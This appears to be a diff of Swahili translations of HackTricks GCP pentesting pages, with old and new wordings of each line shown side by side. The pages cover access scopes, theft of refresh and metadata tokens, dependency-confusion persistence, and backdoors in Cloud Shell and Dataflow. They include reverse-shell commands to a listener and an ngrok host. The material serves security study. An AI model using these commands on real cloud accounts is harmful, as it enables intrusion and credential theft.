Inawezekana kukutana na baadhi ya **mizozo** unapokuwa ukitumia **IAM na mipaka ya ufikiaji**. Kwa mfano, akaunti yako ya huduma inaweza kuwa na jukumu la IAM la `compute.instanceAdmin` lakini mfano uliyovunja umewekwa mipaka na kizuizi cha `https://www.googleapis.com/auth/compute.readonly`. Hii itakuzuia kufanya mabadiliko yoyote kwa kutumia tokeni ya OAuth ambayo inatolewa kiotomatiki kwa mfano wako.
Hizi ni wakala ambao **rasilimali** zinaweza **kuwa** **zilizounganishwa** na upatikanaji wa kuingiliana kwa urahisi na GCP. Kwa mfano, inawezekana kufikia **tokeni ya uthibitisho** ya Akaunti ya Huduma **iliyounganishwa na VM** katika metadata.\
Inawezekana kukutana na baadhi ya **mizozo** unapokuwa ukitumia **IAM na mipaka ya upatikanaji**. Kwa mfano, akaunti yako ya huduma inaweza kuwa na jukumu la IAM la `compute.instanceAdmin` lakini mfano uliyovunja umewekwa mipaka na kizuizi cha `https://www.googleapis.com/auth/compute.readonly`. Hii itakuzuia kufanya mabadiliko yoyote kwa kutumia tokeni ya OAuth ambayo inatolewa kiotomatiki kwa mfano wako.
Ni sawa na **majukumu ya IAM kutoka AWS**. Lakini tofauti na katika AWS, **akaunti yoyote** ya huduma inaweza **kuunganishwa na huduma yoyote** (haihitaji kuiruhusu kupitia sera).
@@ -151,15 +151,15 @@ SERVICE_ACCOUNT_NAME@PROJECT_NAME.iam.gserviceaccount.com
Kuna njia 2 kuu za kufikia GCP kama akaunti ya huduma:
- **Via OAuth tokens**: Hizi ni token ambazo utapata kutoka maeneo kama vile metadata endpoints au kuiba maombi ya http na zinapunguzwa na **access scopes**.
- **Keys**: Hizi ni jozi za funguo za umma na za faragha ambazo zitakuruhusu kusaini maombi kama akaunti ya huduma na hata kuunda token za OAuth ili kufanya vitendo kama akaunti ya huduma. Funguo hizi ni hatari kwa sababu ni ngumu zaidi kuzitenga na kudhibiti, ndiyo maana GCP inapendekeza kutosisitiza kuzitengeneza.
- **Keys**: Hizi ni jozi za funguo za umma na za faragha ambazo zitakuruhusu kusaini maombi kama akaunti ya huduma na hata kuunda token za OAuth ili kufanya vitendo kama akaunti ya huduma. Funguo hizi ni hatari kwa sababu ni ngumu zaidi kuzitenga na kudhibiti, ndiyo maana GCP inapendekeza kutosababisha hizo.
- Kumbuka kwamba kila wakati akaunti ya SA inaundwa, **GCP inaunda funguo kwa akaunti ya huduma** ambayo mtumiaji hawezi kufikia (na haitatajwa katika programu ya wavuti). Kulingana na [**thread hii**](https://www.reddit.com/r/googlecloud/comments/f0ospy/service_account_keys_observations/) funguo hii **inatumiwa ndani na GCP** kutoa ufikiaji wa metadata endpoints ili kuunda token za OAuth zinazopatikana.
### **Access scopes**
Access scope zime **unganishwa na token za OAuth zilizotengenezwa** ili kufikia viwango vya API vya GCP. Zinapunguza **idhini** za token ya OAuth.\
Hii ina maana kwamba ikiwa token inamhusu Mmiliki wa rasilimali lakini haina katika scope ya token kufikia rasilimali hiyo, token **haiwezi kutumika (ku)kandamiza zile haki**.
Access scope zime **unganishwa na token za OAuth zilizozalishwa** ili kufikia viwango vya API vya GCP. Zinapunguza **idhini** za token ya OAuth.\
Hii ina maana kwamba ikiwa token inamhusu Mmiliki wa rasilimali lakini haina katika scope ya token kufikia rasilimali hiyo, token **haiwezi kutumika (ku)kuza hizo haki**.
Google kwa kweli [inapendekeza](https://cloud.google.com/compute/docs/access/service-accounts#service_account_permissions) kwamba **access scopes zisitumike na kutegemea kabisa IAM**. Kituo cha usimamizi wa wavuti kwa kweli kinadhibiti hili, lakini access scopes bado zinaweza kutumika kwa mifano kwa kutumia akaunti za huduma za kawaida kimaandishi.
Google kwa kweli [inapendekeza](https://cloud.google.com/compute/docs/access/service-accounts#service_account_permissions) kwamba **access scopes zisitumike na kutegemea kabisa IAM**. Kituo cha usimamizi wa wavuti kwa kweli kinatekeleza hili, lakini access scopes bado zinaweza kutumika kwa mifano kwa kutumia akaunti za huduma za kawaida kimaandishi.
Unaweza kuona ni **scopes** zipi zime **pewa** kwa **kuuliza:**
```bash
@@ -176,13 +176,13 @@ curl 'https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=<access_token>
"access_type": "offline"
}
```
Mipaka ya awali ni zile zinazozalishwa kwa **default** kwa kutumia **`gcloud`** kufikia data. Hii ni kwa sababu unapokuwa unatumia **`gcloud`** kwanza unaunda token ya OAuth, kisha unaitumia kuwasiliana na maeneo ya mwisho.
Mipaka ya awali ni zile zinazozalishwa kwa **default** kwa kutumia **`gcloud`** ili kufikia data. Hii ni kwa sababu unapoitumia **`gcloud`** kwanza unaunda token ya OAuth, kisha unaitumia kuwasiliana na maeneo ya mwisho.
Mipaka muhimu zaidi kati ya hizo ni **`cloud-platform`**, ambayo kimsingi inamaanisha kwamba inawezekana **kufikia huduma yoyote katika GCP**.
Unaweza **kupata orodha ya** [**mipaka yote inayowezekana hapa**](https://developers.google.com/identity/protocols/googlescopes)**.**
Ikiwa una **`gcloud`** akreditivu za kivinjari, inawezekana **kupata token yenye mipaka mingine,** ukifanya kitu kama:
Ikiwa una **`gcloud`** akreditif za kivinjari, inawezekana **kupata token yenye mipaka mingine,** ukifanya kitu kama:
```bash
# Maybe you can get a user token with other scopes changing the scopes array from ~/.config/gcloud/credentials.db
@@ -198,9 +198,9 @@ gcloud auth application-default print-access-token
Kama ilivyoainishwa na terraform katika [https://registry.terraform.io/providers/hashicorp/google/latest/docs/resources/google_project_iam](https://registry.terraform.io/providers/hashicorp/google/latest/docs/resources/google_project_iam) kutumia terraform na GCP kuna njia tofauti za kutoa ufikiaji kwa principal juu ya rasilimali:
- **Uanachama**: Unapanga **principals kama wanachama wa majukumu** **bila vizuizi** juu ya jukumu au principals. Unaweza kuweka mtumiaji kama mwanachama wa jukumu kisha kuweka kundi kama mwanachama wa jukumu hilo hilo na pia kuweka principals hao (mtumiaji na kundi) kama wanachama wa majukumu mengine.
- **Mikataba**: Principals kadhaa **wanaweza kuunganishwa na jukumu**. Principals hao **bado wanaweza kuunganishwa au kuwa wanachama wa majukumu mengine**. Hata hivyo, ikiwa principal ambaye hajaunganishwa na jukumu amewekwa kama **mwanachama wa jukumu lililounganishwa**, wakati ujao **mkataba unapotumika, uanachama utaondoka**.
- **Sera**: Sera ni **ya mamlaka**, inaonyesha majukumu na principals na kisha, **principals hao hawawezi kuwa na majukumu zaidi na majukumu hayo hayawezi kuwa na principals zaidi** isipokuwa sera hiyo ibadilishwe (hata katika sera nyingine, mikataba au uanachama). Kwa hivyo, wakati jukumu au principal inapoainishwa katika sera, haki zake zote **zinapunguziliwa mbali na sera hiyo**. Kwa wazi, hii inaweza kupuuziliwa mbali ikiwa principal atapewa chaguo la kubadilisha sera au ruhusa za kupandisha hadhi (kama kuunda principal mpya na kumfungamanisha na jukumu jipya).
- **Uanachama**: Unapoweka **principals kama wanachama wa majukumu** **bila vizuizi** juu ya jukumu au principals. Unaweza kuweka mtumiaji kama mwanachama wa jukumu kisha kuweka kundi kama mwanachama wa jukumu hilo hilo na pia kuweka principals hao (mtumiaji na kundi) kama wanachama wa majukumu mengine.
- **Mikataba**: Principals kadhaa **wanaweza kuunganishwa na jukumu**. Principals hao **bado wanaweza kuunganishwa au kuwa wanachama wa majukumu mengine**. Hata hivyo, ikiwa principal ambaye hajaunganishwa na jukumu amewekwa kama **mwanachama wa jukumu lililounganishwa**, wakati wa pili **mkataba unapotumika, uanachama utaondoka**.
- **Sera**: Sera ni **mamlaka**, inaonyesha majukumu na principals na kisha, **principals hao hawawezi kuwa na majukumu zaidi na majukumu hayo hayawezi kuwa na principals zaidi** isipokuwa sera hiyo ibadilishwe (hata katika sera nyingine, mikataba au uanachama). Kwa hivyo, wakati jukumu au principal inapoainishwa katika sera, haki zake zote **zinapunguziliwa mbali na sera hiyo**. Kwa wazi, hii inaweza kupuuziliwa mbali ikiwa principal atapewa chaguo la kubadilisha sera au ruhusa za kupandisha hadhi (kama kuunda principal mpya na kumuweka kwenye jukumu jipya).
## Marejeo

View File

@@ -55,7 +55,7 @@ providerId=$(gcloud iam workload-identity-pools providers describe $poolName \
--workload-identity-pool $poolName \
--format='get(name)')
```
- Hatimaye, **ruhusu mkuu** kutoka kwa mtoa huduma kutumia huduma kuu:
- Hatimaye, **ruhusu mkuu** kutoka kwa mtoa huduma kutumia mkuu wa huduma:
```bash
gitHubRepoName="repo-org/repo-name"
gcloud iam service-accounts add-iam-policy-binding $saId \
@@ -65,7 +65,7 @@ gcloud iam service-accounts add-iam-policy-binding $saId \
> [!WARNING]
> Kumbuka jinsi katika mwanachama wa awali tunavyobainisha **`org-name/repo-name`** kama masharti ya kuweza kufikia akaunti ya huduma (paramu nyingine zinazofanya iwe **zaidi ya ukali** kama tawi pia zinaweza kutumika).
>
> Hata hivyo, pia inawezekana **kuruhusu github yote kufikia** akaunti ya huduma kwa kuunda mtoa huduma kama ifuatavyo kwa kutumia wildcard:
> Hata hivyo, inawezekana pia **kuruhusu github yote kufikia** akaunti ya huduma kwa kuunda mtoa huduma kama ifuatavyo kwa kutumia wildcard:
<pre class="language-bash"><code class="lang-bash"># Create a Workload Identity Pool
poolName=wi-pool2

View File

@@ -1,11 +1,11 @@
# GCP - Permissions for a Pentest
Ikiwa unataka kufanya pentest katika mazingira ya **GCP** unahitaji kuomba ruhusa za kutosha ili **kuangalia huduma zote au nyingi** zinazotumika katika **GCP**. Kwa kawaida, unapaswa kumuomba mteja kuunda:
Ikiwa unataka kufanya pentest katika mazingira ya **GCP** unahitaji kuomba ruhusa za kutosha ili **kuangalia huduma zote au nyingi** zinazotumiwa katika **GCP**. Kwa kawaida, unapaswa kumuomba mteja kuunda:
* **Unda** mradi mpya
* **Unda** **Akaunti ya Huduma** ndani ya mradi huo (pata **akili za json**) au uunde **mtumiaji mpya**.
* **Mpe** **Akaunti ya Huduma** au **mtumiaji** **majukumu** yaliyotajwa baadaye juu ya ORGANIZATION
* **Washughulisha** **APIs** zilizotajwa baadaye katika chapisho hili katika mradi ulioundwa
* **Unda** **Service Account** ndani ya mradi huo (pata **json credentials**) au uunde **mtumiaji** mpya.
* **Mpe** **Service account** au **mtumiaji** **majukumu** yaliyotajwa baadaye juu ya ORGANIZATION
* **Washughulike** **APIs** zilizotajwa baadaye katika chapisho hili katika mradi ulioundwa
**Seti ya ruhusa** za kutumia zana zilizopendekezwa baadaye:
```bash

View File

@@ -12,7 +12,7 @@ Kwa maelezo zaidi kuhusu App Engine angalia:
### Badilisha msimbo
Ikiwa unaweza tu kubadilisha msimbo wa toleo linalotembea au kuunda mpya unaweza kufanya ikimbie backdoor yako na kudumisha uvumilivu.
Ikiwa ungeweza tu kubadilisha msimbo wa toleo linalotembea au kuunda mpya unaweza kufanya ikimbie backdoor yako na kudumisha uvumilivu.
### Uvumilivu wa toleo la zamani

View File

@@ -1,16 +1,16 @@
# GCP - Uthibitisho wa Usajili wa Vitu
# GCP - Artifact Registry Persistence
{{#include ../../../banners/hacktricks-training.md}}
## Usajili wa Vitu
## Artifact Registry
Kwa maelezo zaidi kuhusu Usajili wa Vitu angalia:
Kwa maelezo zaidi kuhusu Artifact Registry angalia:
{{#ref}}
../gcp-services/gcp-artifact-registry-enum.md
{{#endref}}
### Kuchanganya Kutegemea
### Dependency Confusion
- Nini kinatokea ikiwa **hifadhi za mbali na za kawaida** **zinachanganywa katika moja ya virtual** na pakiti inapatikana katika zote mbili?
- Ile yenye **kipaumbele cha juu zaidi kilichowekwa katika hifadhi ya virtual** inatumika
@@ -19,21 +19,21 @@ Kwa maelezo zaidi kuhusu Usajili wa Vitu angalia:
- Ikiwa sivyo, **toleo la juu zaidi** linatumika
> [!CAUTION]
> Hivyo, inawezekana **kuitumia toleo la juu zaidi (kuchanganya kutegemea)** katika hifadhi ya pakiti ya umma ikiwa hifadhi ya mbali ina kipaumbele cha juu au sawa
> Hivyo, inawezekana **kuitumia toleo la juu zaidi (dependency confusion)** katika hifadhi ya pakiti ya umma ikiwa hifadhi ya mbali ina kipaumbele cha juu au sawa
Teknolojia hii inaweza kuwa na manufaa kwa **uthibitisho** na **ufikiaji usio na uthibitisho** kwani ili kuitumia inahitaji tu **kujua jina la maktaba** iliyohifadhiwa katika Usajili wa Vitu na **kuunda maktaba hiyo hiyo katika hifadhi ya umma (PyPi kwa python kwa mfano)** yenye toleo la juu zaidi.
Teknolojia hii inaweza kuwa na manufaa kwa **persistence** na **ufikiaji usio na uthibitisho** kwani ili kuitumia inahitaji tu **kujua jina la maktaba** iliyohifadhiwa katika Artifact Registry na **kuunda maktaba hiyo hiyo katika hifadhi ya umma (PyPi kwa python kwa mfano)** yenye toleo la juu zaidi.
Kwa uthibitisho hizi ndizo hatua unahitaji kufuata:
Kwa ajili ya persistence hizi ndizo hatua unahitaji kufuata:
- **Mahitaji**: Hifadhi ya **virtual** lazima **iwepo** na itumike, pakiti ya **ndani** yenye **jina** ambalo halipo katika **hifadhi ya umma** lazima itumike.
- Unda hifadhi ya mbali ikiwa haipo
- Ongeza hifadhi ya mbali kwenye hifadhi ya virtual
- Hariri sera za usajili wa virtual ili kutoa kipaumbele cha juu (au sawa) kwa hifadhi ya mbali.\
- Ongeza hifadhi ya mbali katika hifadhi ya virtual
- Hariri sera za hifadhi ya virtual ili kutoa kipaumbele cha juu (au sawa) kwa hifadhi ya mbali.\
Fanya kitu kama:
- [gcloud artifacts repositories update --upstream-policy-file ...](https://cloud.google.com/sdk/gcloud/reference/artifacts/repositories/update#--upstream-policy-file)
- Pakua pakiti halali, ongeza msimbo wako mbaya na uisajili katika hifadhi ya umma kwa toleo sawa. Kila wakati mendelezi anapoisakinisha, atasakinisha yako!
Kwa maelezo zaidi kuhusu kuchanganya kutegemea angalia:
Kwa maelezo zaidi kuhusu dependency confusion angalia:
{{#ref}}
https://book.hacktricks.xyz/pentesting-web/dependency-confusion

View File

@@ -12,7 +12,7 @@ Kwa maelezo zaidi kuhusu BigQuery angalia:
### Toa ufikiaji zaidi
Toa ufikiaji zaidi juu ya datasets, tables, rows na columns kwa watumiaji waliokumbwa au watumiaji wa nje. Angalia haki zinazohitajika na jinsi ya kufanya hivyo kwenye ukurasa:
Toa ufikiaji zaidi juu ya datasets, tables, rows na columns kwa watumiaji waliokumbwa na hatari au watumiaji wa nje. Angalia haki zinazohitajika na jinsi ya kufanya hivyo kwenye ukurasa:
{{#ref}}
../gcp-privilege-escalation/gcp-bigquery-privesc.md

View File

@@ -19,7 +19,7 @@ Unaweza kufikia Cloud Shell ya Google kutoka **web console** au kwa kukimbia **`
Konsoli hii ina uwezo wa kuvutia kwa washambuliaji:
1. **Mtumiaji yeyote wa Google mwenye ufikiaji wa Google Cloud** ana ufikiaji wa mfano wa Cloud Shell ulio na uthibitisho kamili (Akaunti za Huduma zinaweza, hata ikiwa ni Wamiliki wa shirika).
2. Mfano huo uta **hifadhi saraka yake ya nyumbani kwa angalau siku 120** ikiwa hakuna shughuli inayotokea.
2. Mfano huo uta **hifadhi saraka yake ya nyumbani kwa angalau siku 120** ikiwa hakuna shughuli inayoendelea.
3. Hakuna **uwezo wa shirika kufuatilia** shughuli za mfano huo.
Hii kwa msingi inamaanisha kwamba mshambuliaji anaweza kuweka backdoor katika saraka ya nyumbani ya mtumiaji na kadri mtumiaji anavyounganisha na GC Shell kila siku 120 angalau, backdoor itadumu na mshambuliaji atapata shell kila wakati inapoendeshwa kwa kufanya:
@@ -33,7 +33,7 @@ apt-get install netcat -y
nc <LISTENER-ADDR> 443 -e /bin/bash
```
> [!WARNING]
> Ni muhimu kutambua kwamba **wakati wa kwanza kitendo kinachohitaji uthibitisho kinapofanywa**, dirisha la idhini linaonekana kwenye kivinjari cha mtumiaji. Dirisha hili lazima likubaliwe kabla ya amri kutekelezwa. Ikiwa dirisha lisilotarajiwa linaonekana, linaweza kuleta wasiwasi na huenda likaharibu njia ya kudumu inayotumika.
> Ni muhimu kutambua kwamba **wakati wa kwanza kitendo kinachohitaji uthibitisho kinapofanywa**, dirisha la idhini linaonekana kwenye kivinjari cha mtumiaji. Dirisha hili lazima likubaliwe kabla ya amri kuweza kuendesha. Ikiwa dirisha lisilotarajiwa linaonekana, linaweza kuleta wasiwasi na huenda likaharibu njia ya kudumu inayotumika.
Hii ni pop-up kutoka kwa kutekeleza `gcloud projects list` kutoka kwa cloud shell (kama mshambuliaji) iliyoangaliwa katika kikao cha kivinjari cha mtumiaji:
@@ -54,7 +54,7 @@ Kimsingi, hizi API calls 3 zinatumika:
Lakini unaweza kupata taarifa zaidi katika [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key)
## Marejeo
## Marejeleo
- [https://89berner.medium.com/persistant-gcp-backdoors-with-googles-cloud-shell-2f75c83096ec](https://89berner.medium.com/persistant-gcp-backdoors-with-googles-cloud-shell-2f75c83096ec)
- [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key)

View File

@@ -21,8 +21,8 @@ Kwa maelezo zaidi angalia mbinu katika:
### Unda mtumiaji mpya / Sasisha nenosiri la mtumiaji / Pata nenosiri la mtumiaji
Ili kuungana na database unahitaji **tu ufikiaji wa bandari** iliyofunuliwa na database na **jina la mtumiaji** na **nenosiri**. Kwa **privileges za kutosha** unaweza **kuunda mtumiaji mpya** au **kusasisha** nenosiri la mtumiaji aliyepo.\
Chaguo lingine lingekuwa **kufanya brute force kwenye nenosiri la mtumiaji** kwa kujaribu nenosiri kadhaa au kwa kufikia **hashed** nenosiri la mtumiaji ndani ya database (ikiwa inawezekana) na kulivunja.\
Ili kuungana na database unahitaji **tu ufikiaji wa bandari** iliyofunuliwa na database na **jina la mtumiaji** na **nenosiri**. Kwa **haki za kutosha** unaweza **kuunda mtumiaji mpya** au **kusasisha** nenosiri la mtumiaji aliyepo.\
Chaguo lingine lingekuwa **kufanya brute force kwenye nenosiri la mtumiaji** kwa kujaribu nenosiri kadhaa au kwa kufikia **nenosiri lililohashwa** la mtumiaji ndani ya database (ikiwa inawezekana) na kulivunja.\
Kumbuka kwamba **inawezekana kuorodhesha watumiaji wa database** kwa kutumia GCP API.
> [!NOTE]

View File

@@ -6,7 +6,7 @@
### Uendelevu usioonekana katika kontena lililojengwa
Kufuata [**tutorial kutoka kwa nyaraka**](https://cloud.google.com/dataflow/docs/guides/templates/using-flex-templates) unaweza kuunda template mpya ya flex (mfano python):
Kufuata [**tutorial kutoka kwa nyaraka**](https://cloud.google.com/dataflow/docs/guides/templates/using-flex-templates) unaweza kuunda template mpya ya flex (mfano, python):
```bash
git clone https://github.com/GoogleCloudPlatform/python-docs-samples.git
cd python-docs-samples/dataflow/flex-templates/getting_started
@@ -36,7 +36,7 @@ gcloud dataflow $NAME_TEMPLATE build gs://$REPOSITORY/getting_started-py.json \
--env "/bin/bash -c 'bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/13355 0>&1' & #%s" \
--region=us-central1
```
**Wakati inajengwa, utapata shell ya kurudi** (unaweza kutumia mabadiliko ya mazingira kama katika mfano wa awali au vigezo vingine vinavyoweka faili la Docker kutekeleza mambo yasiyo ya kawaida). Wakati huu, ndani ya shell ya kurudi, inawezekana **kuenda kwenye saraka ya `/template` na kubadilisha msimbo wa skripti kuu ya python ambayo itatekelezwa (katika mfano wetu hii ni `getting_started.py`)**. Weka mlango wako wa nyuma hapa ili kila wakati kazi inatekelezwa, itatekeleza hiyo.
**Wakati inajengwa, utapata shell ya kurudi** (unaweza kutumia mabadiliko ya mazingira kama katika mfano wa awali au vigezo vingine vinavyoweka faili la Docker kutekeleza mambo yasiyo ya kawaida). Wakati huu, ndani ya shell ya kurudi, inawezekana **kuenda kwenye saraka ya `/template` na kubadilisha msimbo wa skripti kuu ya python ambayo itatekelezwa (katika mfano wetu hii ni `getting_started.py`)**. Weka backdoor yako hapa ili kila wakati kazi inatekelezwa, itatekeleza hiyo.
Kisha, wakati kazi inatekelezwa tena, kontena lililoathiriwa litajengwa na litakimbia:
```bash

View File

@@ -12,7 +12,7 @@ Kwa maelezo zaidi kuhusu Filestore angalia:
### Toa ufikiaji mpana na mamlaka juu ya mount
Mshambuliaji anaweza **kujiweka mamlaka zaidi na kuwezesha ufikiaji** kwa sehemu ili kudumisha uvumilivu juu ya sehemu hiyo, pata jinsi ya kutekeleza hatua hizi katika ukurasa huu:
Mshambuliaji anaweza **kujipeana mamlaka zaidi na kuwezesha ufikiaji** kwa sehemu ili kudumisha uvumilivu juu ya sehemu hiyo, pata jinsi ya kutekeleza hatua hizi katika ukurasa huu:
{{#ref}}
gcp-filestore-persistence.md

View File

@@ -18,26 +18,26 @@ Ili kupata maelezo ya **kuunda tokeni mpya ya ufikiaji** endesha:
```bash
sqlite3 $HOME/.config/gcloud/credentials.db "select value from credentials where account_id='<email>';"
```
Ni pia inawezekana kupata refresh tokens katika **`$HOME/.config/gcloud/application_default_credentials.json`** na katika **`$HOME/.config/gcloud/legacy_credentials/*/adc.json`**.
Ni rahisi pia kupata refresh tokens katika **`$HOME/.config/gcloud/application_default_credentials.json`** na katika **`$HOME/.config/gcloud/legacy_credentials/*/adc.json`**.
Ili kupata token mpya ya ufikiaji iliyosasishwa kwa kutumia **refresh token**, client ID, na client secret endesha:
```bash
curl -s --data client_id=<client_id> --data client_secret=<client_secret> --data grant_type=refresh_token --data refresh_token=<refresh_token> --data scope="https://www.googleapis.com/auth/cloud-platform https://www.googleapis.com/auth/accounts.reauth" https://www.googleapis.com/oauth2/v4/token
```
Uhalali wa tokens za upya unaweza kudhibitiwa katika **Admin** > **Security** > **Google Cloud session control**, na kwa kawaida umewekwa kuwa masaa 16 ingawa unaweza kuwekwa kuwa haupotei kamwe:
Uhalali wa tokens za refresher unaweza kudhibitiwa katika **Admin** > **Security** > **Google Cloud session control**, na kwa kawaida umewekwa kwa masaa 16 ingawa unaweza kuwekwa kutokufa milele:
<figure><img src="../../../images/image (11).png" alt=""><figcaption></figcaption></figure>
### Mchakato wa uthibitishaji
### Auth flow
Mchakato wa uthibitishaji unapokuwa ukitumia kitu kama `gcloud auth login` utafungua dirisha katika kivinjari na baada ya kukubali maeneo yote, kivinjari kitatumia ombi kama hili kwa bandari ya http iliyofunguliwa na chombo:
Mchakato wa uthibitishaji unapokuwa ukitumia kitu kama `gcloud auth login` utafungua dirisha katika kivinjari na baada ya kukubali maeneo yote kivinjari kitatumia ombi kama hili kwa bandari ya http iliyo wazi na chombo:
```
/?state=EN5AK1GxwrEKgKog9ANBm0qDwWByYO&code=4/0AeaYSHCllDzZCAt2IlNWjMHqr4XKOuNuhOL-TM541gv-F6WOUsbwXiUgMYvo4Fg0NGzV9A&scope=email%20openid%20https://www.googleapis.com/auth/userinfo.email%20https://www.googleapis.com/auth/cloud-platform%20https://www.googleapis.com/auth/appengine.admin%20https://www.googleapis.com/auth/sqlservice.login%20https://www.googleapis.com/auth/compute%20https://www.googleapis.com/auth/accounts.reauth&authuser=0&prompt=consent HTTP/1.1
```
Kisha, gcloud itatumia hali na msimbo pamoja na `client_id` (`32555940559.apps.googleusercontent.com`) na **`client_secret`** (`ZmssLNjJy2998hD4CTg2ejr2`) kupata **data ya mwisho ya token ya refresher**.
Kisha, gcloud itatumia hali na msimbo pamoja na `client_id` (`32555940559.apps.googleusercontent.com`) na **`client_secret`** (`ZmssLNjJy2998hD4CTg2ejr2`) kupata **data ya mwisho ya refresh token**.
> [!CAUTION]
> Kumbuka kwamba mawasiliano na localhost yako katika HTTP, hivyo inawezekana kukamata data ili kupata token ya refresher, hata hivyo data hii ni halali mara 1 tu, hivyo hii itakuwa haina maana, ni rahisi tu kusoma token ya refresher kutoka kwa faili.
> Kumbuka kwamba mawasiliano na localhost yako katika HTTP, hivyo inawezekana kukamata data ili kupata refresh token, hata hivyo data hii ni halali mara 1 tu, hivyo hii itakuwa haina maana, ni rahisi tu kusoma refresh token kutoka kwa faili.
### OAuth Scopes
@@ -45,7 +45,7 @@ Unaweza kupata scopes zote za Google katika [https://developers.google.com/ident
```bash
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-A/\-\._]*' | sort -u
```
Inawezekana kuona ni mipaka gani programu ambayo **`gcloud`** inatumia kuthibitisha inaweza kusaidia kwa kutumia skripti hii:
Inawezekana kuona ni mipaka gani programu ambayo **`gcloud`** inatumia kujiandikisha inaweza kusaidia kwa kutumia skripti hii:
```bash
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
echo -ne "Testing $scope \r"
@@ -55,7 +55,7 @@ echo $scope
fi
done
```
Baada ya kuitekeleza, ilikaguliwa kwamba programu hii inasaidia maeneo haya:
Baada ya kutekeleza, ilikaguliwa kwamba programu hii inasaidia maeneo haya:
```
https://www.googleapis.com/auth/appengine.admin
https://www.googleapis.com/auth/bigquery
@@ -72,11 +72,11 @@ ni ya kuvutia kuona jinsi programu hii inavyounga mkono **`drive`** scope, ambay
### Akaunti za Huduma
Kama ilivyo kwa watumiaji walioidhinishwa, ikiwa utafanikiwa **kudhulumu faili ya ufunguo wa faragha** ya akaunti ya huduma utaweza **kuipata kawaida kwa muda wote unavyotaka**.\
Hata hivyo, ikiwa utaiba **tokeni ya OAuth** ya akaunti ya huduma hii inaweza kuwa ya kuvutia zaidi, kwa sababu, hata kama kwa kawaida tokeni hizi zinatumika kwa saa moja tu, ikiwa **mhasiriwa atafuta ufunguo wa api wa faragha, tokeni ya OAuh itabaki kuwa halali hadi itakapokwisha**.
Hata hivyo, ikiwa utaiba **tokeni ya OAuth** ya akaunti ya huduma hii inaweza kuwa ya kuvutia zaidi, kwa sababu, hata kama kwa kawaida tokeni hizi zinatumika kwa saa moja tu, ikiwa **mhasiriwa atafuta ufunguo wa faragha wa api, tokeni ya OAuh itabaki kuwa halali hadi itakapokwisha**.
### Metadata
Kwa wazi, kadri unavyokuwa ndani ya mashine inayofanya kazi katika mazingira ya GCP utaweza **kupata akaunti ya huduma iliyoambatanishwa na mashine hiyo kwa kuwasiliana na mwisho wa metadata** (zingatia kwamba tokeni za Oauth unazoweza kupata katika mwisho huu kwa kawaida zinapunguziliwa mbali na scopes).
Kwa wazi, mradi tu uko ndani ya mashine inayofanya kazi katika mazingira ya GCP utaweza **kupata akaunti ya huduma iliyoambatanishwa na mashine hiyo kwa kuwasiliana na mwisho wa metadata** (zingatia kwamba tokeni za Oauth unazoweza kupata katika mwisho huu kwa kawaida zinapunguziliwa mbali na scopes).
### Marekebisho

View File

@@ -23,7 +23,7 @@ gsutil config -a
# Use it
gsutil ls gs://[BUCKET_NAME]
```
Nyingine script ya exploit kwa njia hii inaweza kupatikana [hapa](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py).
Nyingine exploit script kwa njia hii inaweza kupatikana [hapa](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py).
### Toa Ufikiaji wa Umma

View File

@@ -23,7 +23,7 @@ curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/loca
Ikiwa Cloud Function inasimamia taarifa nyeti ambazo watumiaji wanatuma (k.m. nywila au tokeni), kwa ruhusa za kutosha unaweza **kubadilisha msimbo wa chanzo wa kazi na kuhamasisha** taarifa hii.
Zaidi ya hayo, Cloud Functions zinazotumia python zinatumia **flask** kufichua seva ya wavuti, ikiwa kwa namna fulani unapata udhaifu wa kuingiza msimbo ndani ya mchakato wa flaks (udhaifu wa SSTI kwa mfano), inawezekana **kuzidisha mpangilio wa kazi** ambao utapokea maombi ya HTTP kwa **kazi mbaya** ambayo inaweza **kuhamasisha ombi** kabla ya kulipatia mpangilio halali.
Zaidi ya hayo, Cloud Functions zinazotumia python zinatumia **flask** kufichua seva ya wavuti, ikiwa kwa namna fulani unapata udhaifu wa kuingiza msimbo ndani ya mchakato wa flaks (udhaifu wa SSTI kwa mfano), inawezekana **kuziba mpangilio wa kazi** ambao utapokea maombi ya HTTP kwa **kazi mbaya** ambayo inaweza **kuhamasisha ombi** kabla ya kulipatia mpangilio halali.
Kwa mfano, msimbo huu unatekeleza shambulio:
```python

View File

@@ -12,12 +12,12 @@ Kwa maelezo zaidi kuhusu Cloud Run angalia:
### Fikia picha
Ikiwa unaweza kufikia picha za kontena angalia msimbo kwa ajili ya udhaifu na taarifa nyeti zilizowekwa kwa nguvu. Pia angalia taarifa nyeti katika mabadiliko ya mazingira.
Ikiwa unaweza kufikia picha za kontena angalia msimbo kwa ajili ya udhaifu na taarifa nyeti zilizowekwa kwa nguvu. Pia kwa taarifa nyeti katika mabadiliko ya mazingira.
Ikiwa picha zimehifadhiwa katika repos ndani ya huduma ya Artifact Registry na mtumiaji ana ufikiaji wa kusoma juu ya repos, anaweza pia kupakua picha kutoka huduma hii.
### Badilisha & re-deploy picha
### Badilisha & redeploy picha
Badilisha picha ya run ili kuiba taarifa na re-deploy toleo jipya (kuweka tu kontena jipya la docker lenye lebo sawa halitafanya litekelezwe). Kwa mfano, ikiwa inatoa ukurasa wa kuingia, iba taarifa za kuingia ambazo watumiaji wanatuma.
